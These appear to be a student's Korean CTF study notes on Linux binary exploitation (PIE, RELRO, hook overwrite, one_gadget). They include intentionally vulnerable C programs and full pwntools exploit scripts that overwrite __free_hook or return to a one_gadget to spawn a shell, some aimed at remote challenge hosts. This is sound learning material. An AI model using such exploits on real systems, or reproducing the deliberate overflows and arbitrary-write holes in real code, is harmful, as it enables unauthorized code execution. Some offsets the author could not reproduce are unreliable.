그래서 pic은 상대참조를 한다. 그러면 바이너리가 무작위 주소에 매핑돼도 제대로 실행될 수 있다.
1.2. PIE(Position-Independent Executable)
무작위 주소에 매핑돼도 실행 가능한 실행 파일
ASLR 도입 전에는 무작위 주소에 매핑될 일이 없으므로 필요 없어서 리눅스의 실행 파일 형식은 재배치를 고려하지 않았다. ALSR 도입 후에 실행 파일도 무작위 주소에 매핑될 수 있게 하려고 했으나 이는 호환성 문제를 일으킬 것이 뻔했기 때문에 원래 재배치가 가능했던 공유 오브젝트를 실행 파일로 사용하기로 함.
단, ASLR이 적용되지 않은 시스템에서는 PIE가 적용된 바이너리라도 무작위 주소에 적재되지 않는다.
1.3. PIE 우회
ROP처럼 베이스 주소를 구하는 방법이 있다.
코드 베이스를 구하기 어렵다면 반환 주소의 일부 바이트만 덮는 공격을 할 수도 있다. 이를 Partial Overwrite라고 부른다. ALSR의 특성 상, 코드 영역 주소의 하위 12비트 값은 항상 같다.
1.4. Partial RELRO(RELocation Read-Only)
RELRO: 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한을 제거
.got.plt, .data, .bss 섹션에만 쓰기 가능
got 섹션은 .got와 .got.plt로 나뉘는데, 전역 변수 중에서 실행되는 시점에 바인딩 되는 변수는 .got, lazy binding은 .got.plt에 위치.
대부분 GOT는 .got.plt에 위치
1.5. Full RELRO
got에는 쓰기 권한이 제거되어 있으며 data와 bss에만 쓰기 권한이 존재
1.6. RELRO 우회
Partial RELRO: GOT overwrite 공격 가능
Full RELRO: Hook Overwrite
hook: 동적 메모리의 할당과 해제 과정에서 발생하는 버그를 디버깅하기 쉽게 하려고 만들어짐
malloc 함수 코드에서 시작할 때 __malloc_hook이 존재하면 호출하는데 __malloc_hook은 libc.so에서 쓰기 가능한 영역에 위치한다. 그래서 공격자는 libc가 매핑된 주소를 알 때, 이 변수를 조작하고 malloc을 호출하여 실행 흐름 조작이 가능하다.
Hook Overwrite: 훅의 특징을 이용한 공격 기법.
One Gadget: 단일 가젯만으로도 셸을 실행할 수 있는 매우 강력한 가젯.
libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있다. 예를 들어 malloc 함수는 __malloc_hook 변수의 값이 NULL인지 검사하고, 아니라면 malloc 수행 전에 __malloc_hook이 가리키는 함수를 먼저 실행한다. 이때 malloc의 인자는 훅 함수에 전달된다. free, realloc도 마찬가지
훅들은 libc.so에 정의되어 있다.
readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
readelf -S /lib/x86_64-linux-gnu/libc-2.27.so | grep -EA 1 "\.bss|\.data"
이들은 libc의 bss에 위치하기 때문에 실행 중에 덮어쓰는 것이 가능하다.
또한 함수의 인자도 같이 전달되기 때문에 __malloc_hook의 주소를 system 함수로 덮고, malloc("/bin/sh")을 호출하여 쉘을 획득할 수도 있다.
2.1. fho.c
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
2.2. 설계
readelf -sr libc-2.27.so | grep " __free_hook@"
readelf -s libc-2.27.so | grep " system@"
strings -tx libc-2.27.so | grep "/bin/sh"



__free_hook offset: 0x0000003eaef0
system offset: 0x000000000004f550
/bin/sh offset: 0x1b3e1a
-> 여기에 프로세스에 매핑된 libc의 베이스 주소를 더해주면 실제 주소!
libc의 베이스 주소는 스택에서 구할 예정. 왜냐하면 main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하기 때문에 main 함수 스택 프라임의 ret 주소를 기반으로 libc 베이스 주소 계산이 가능할 것이다.


main에 break를 걸고 실행한 후 backtrace를 실행하면
main의 반환 주소(__libc_start_main + 231): 0x00007ffff7c29e40
사진 상에서는 128인데 231로 인덱스를 쓴 이유는 ubuntu 18.04와 22.04의 차이다...
Dockerfile로 확인해야 하는데 버전 문제 때문인지 pwndbg가 설치가 안 된다. 그래서 같은 명령어를 써도 원하는 결과가 안 나온다. 이는 곧 해결해봐야 할 것 같다.
readelf -s libc-2.27.so | grep " __libc_start_main@"
똑같이 이 명령어로 offset을 구할 수 있다.
(이것도 CRC 불일치로 안 된다... Dockerfile 쓰는 법을 조만간 공부해야겠다.)
일단, 주어진 자료에 의하면
__libc_start_main+231 offset: 0x21b10+231




canary: rbp - 0x8
buf: rbp - 0x40
addr: rbp - 0x50
value: rbp - 0x48
2.3. exploit.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("./libc-2.27.so")
freehook_offset = 0x0000003eaef0
system_offset = 0x000000000004f550
binsh_offset = 0x1b3e1a
libcstartmain_offset = 0x21b10+231
buf = b"A" * 0x48
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
libcstartmain = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libcstartmain - libcstartmain_offset
system = libc_base + system_offset
freehook = libc_base + freehook_offset
binsh = libc_base + binsh_offset
addr = p64(freehook)
value = p64(system)
p.recvuntil(b'To write: ')
p.sendline(addr)
p.recvuntil(b'With: ')
p.sendline(value)
free = p64(binsh)
p.recvuntil(b'To free: ')
p.sendline(free)
p.interactive()
one_gadget ./libc-2.27.so
(아니 다 안 돼... 이거는 dockerfile 찾아보고 할 수 있을 듯)
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
-> memset도 hook이 있을까? 없는 것 같다.
-> 이름이 oneshot이다. 참고 자료에는 one_gadget이 있다.
4.2. 설계

sudo apt install ruby
sudo gem install one_gadget
one_gadget ./libc.so.6

여기에서 특정 위치들이 NULL이어야 쉘이 따진다고 한다.
조건을 만족할 수 있는 것을 골라서 쓰면 된다.

우리는 ret에 원가젯을 넣을 것이기 때문에 이 시점에 rax == NULL임을 알 수 있다.


msg: rbp-0x20
check: rbp-0x8
stdout을 줬기 때문에 얘를 바탕으로 libc_base를 구할 수 있다.

이걸 써도 되고 libc.symbols를 써도 된다. 안 된다. 왜 다르지 이거...
4.3. exploit.py
from pwn import *
p = remote('host1.dreamhack.games', 18254)
#p = process('./oneshot')
libc = ELF('./libc.so.6')
p.recvuntil('stdout: ')
stdout_addr = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = stdout_addr - 0x3c5620
#libc_base = stdout_addr - libc.symbols['stdout']
print('stdout: ', hex(libc.symbols['stdout']))
og = libc_base + 0x45216
msg = b'A' * 0x18 + b'\x00' * 0x8 + b'B' * 0x8 + p64(og)
p.recvuntil('MSG: ')
p.send(msg)
p.interactive()
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
5.2. 설계

카나리, NX, RELRO 모두 존재. PIE는 없음.
-> GOT overwrite는 불가
ptr[0]에 free hook 주소 저장하고, ptr[1]에 system("\bin\sh") 주소 저장
readelf -sr libc-2.23.so | grep " __free_hook@"

freehook_offset = 0x0000003c3ef8
readelf -s libc-2.23.so | grep "stdout"

stdout_offset = 0x00000000003c5708


system = 0x400a11
5.3. exploit.py
from pwn import *
#p = process("./hook")
p = remote('host1.dreamhack.games', 11074)
libc = ELF('./libc-2.23.so')
#stdout_offset = 0x00000000003c5708
#freehook_offset = 0x0000003c3ef8
system = 0x400a11
stdout_offset = libc.symbols['_IO_2_1_stdout_']
freehook_offset = libc.symbols['__free_hook']
p.recvuntil('stdout: ')
stdout = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = stdout - stdout_offset
freehook = freehook_offset + libc_base
p.sendlineafter('Size: ', '400')
ptr = p64(freehook) + p64(system)
p.sendlineafter('Data: ', ptr)
p.interactive()
이거는 또 libc.symbols로 해야 되네...
도대체 차이가 뭐지...